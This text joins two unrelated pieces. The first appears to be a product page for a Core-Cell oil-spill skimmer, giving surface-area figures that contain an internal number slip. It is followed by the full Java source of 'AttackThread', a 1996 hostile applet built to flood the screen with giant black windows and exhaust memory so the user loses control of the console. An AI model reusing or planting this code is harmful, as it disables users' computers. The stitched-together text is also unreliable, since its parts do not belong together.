2799 Sq. Ft. of Oliophilic Surface
Site Navagation
(In a 15 Linear Ft. Endless Belt Core-Cell Skimmer)

Fact: Each Sq. Ft. of 1/8" Core (12"x12"x1") contains 32 Sq. Ft. of oliophilic surface, plus the holding action within the pipe-like Core-Cells. Oil in pipes is readily pumped.

The Model #2700 measures 14W.x85"L.x54"H. and contains 36 Core Boxes, 14"L.x5"W.x5"H. each containing 2.34 Sq. Ft. of core, so lets do the math:

2.43 Sq. Ft. 1/8th" Core-Cells per box.
x 32.00 Sq. Ft. 1/8th" Core-Cell surface gain per core box.
= 77.76 Sq. Ft. oliophilic surface per core box.
x 36.00 Core boxes, Skimmer Model #2700
=2799.00 TOTAL Sq. Ft. of oliophilic surface, Core-Cell Skimmer Model 2700 (plus the holding action of the cells).

1/8th In. Core-Cells are optimum for pick up of #2 Diesel, and lube oils. Heavier oils will require larger diameter Core-Cells. A spare set of 36 Core-Boxes may be carried at the ready in a space 28"x28"x28" and installed within 30 minutes.

METHOD OF OPERATION: The model 2700 Skimmer belt rotates in the same direction as the boat headway, pulling oil in. Core Boxes thrust through oil floating on water and water pressure forces the oil up into the core cells. Oil stays within the Cells as they emerge, and the water runs out. Floating trash floats away aft after giving up its oil when submerged beneath the Boxes.

Oil is removed from the Core-Cells by pump suction, (induced atmospheric pressure) vibration and gravity, as they pass over a slot in the upper horizontal path of the endless belt.

Core-Cell Skimmers with their ultimate capacity for recovery of oil on water can be designed to economically replace most OSR systems in use today. A sketch of the space allowed and mounting locations for existing systems is all we need to design a Core-Cell replacement. Units can be Larger than the one shown, and multiple units can be used within a single hull.

Recovery of heavy oils requires larger diameter Core-Cells and a slightly different approach, but the principle remains the same, OIL WITHIN CORE-CELLS (pipes) CAN BE PUMPED.

U.S. Pat. #5,380,431 and Foreign Patents issued.




/* AttackThread.java by Mark D. LaDue */ /* February 20, 1996 */ /* Copyright (c) 1996 Mark D. LaDue You may study, use, modify, and distribute this example for any purpose. This example is provided WITHOUT WARRANTY either expressed or implied. */ /* This Java Applet is intended to spew forth huge non-functioning black windows and obliterate the screen in order to exclude the user from the console. It also features a terribly annoying sound that won't stop until you do something drastic. */ import java.awt.*; public class AttackThread extends java.applet.Applet implements Runnable { // Just a font to paint strings to the applet window Font wordFont = new Font("TimesRoman", Font.BOLD, 36); // This thread will attempt to spew forth huge windows and waste resources Thread wasteResources = null; // An offscreen Image where lots of action will take place Image offscreenImage; // Graphics tools to handle the offscreen Image Graphics offscreenGraphics; // To avoid arrays and have open-ended storage of results StringBuffer holdBigNumbers = new StringBuffer(0); // Used to read in a parameter that makes the thread sleep for a // specified number of seconds int delay; // A window that repeatedly tries to obscure everything Frame littleWindow; /* Set up a big white rectangle in the browser, get the sound, and create the offscreen graphics */ public void init() { setBackground(Color.white); offscreenImage = createImage(this.size().width, this.size().height); offscreenGraphics = offscreenImage.getGraphics(); } /* Create and start the offending thread in the standard way */ /* We certainly won't be stopping anything */ public void stop() {} /* Start the annoying sound and repeatedly open windows while doing lots of other wasteful operations */ public void run() { // Now fill the screen with huge windows, one atop another, and do // a lots of wasteful stuff! while (true) { try { holdBigNumbers.append(0x7fffffffffffffffL); littleWindow = new AttackFrame("ACK!"); // create a window littleWindow.resize(1000000, 1000000); // make it big! littleWindow.move(-1000, -1000); // cover everything littleWindow.show(); // now open the big window } catch (OutOfMemoryError o) {} repaint(); } } /* Paints the applet's lie */ public void update(Graphics g) { paint(g); } public void paint(Graphics g) { offscreenGraphics.setColor(Color.white); offscreenGraphics.drawRect(0, 0, this.size().width, this.size().height); offscreenGraphics.setColor(Color.blue); offscreenGraphics.drawString(holdBigNumbers.toString(), 10, 50); } } /* Makes the big, opaque windows */ class AttackFrame extends Frame { Label l; // Constructor method AttackFrame(String title) { super(title); setLayout(new GridLayout(1, 1)); Canvas blackCanvas = new Canvas(); blackCanvas.setBackground(Color.black); add(blackCanvas); } }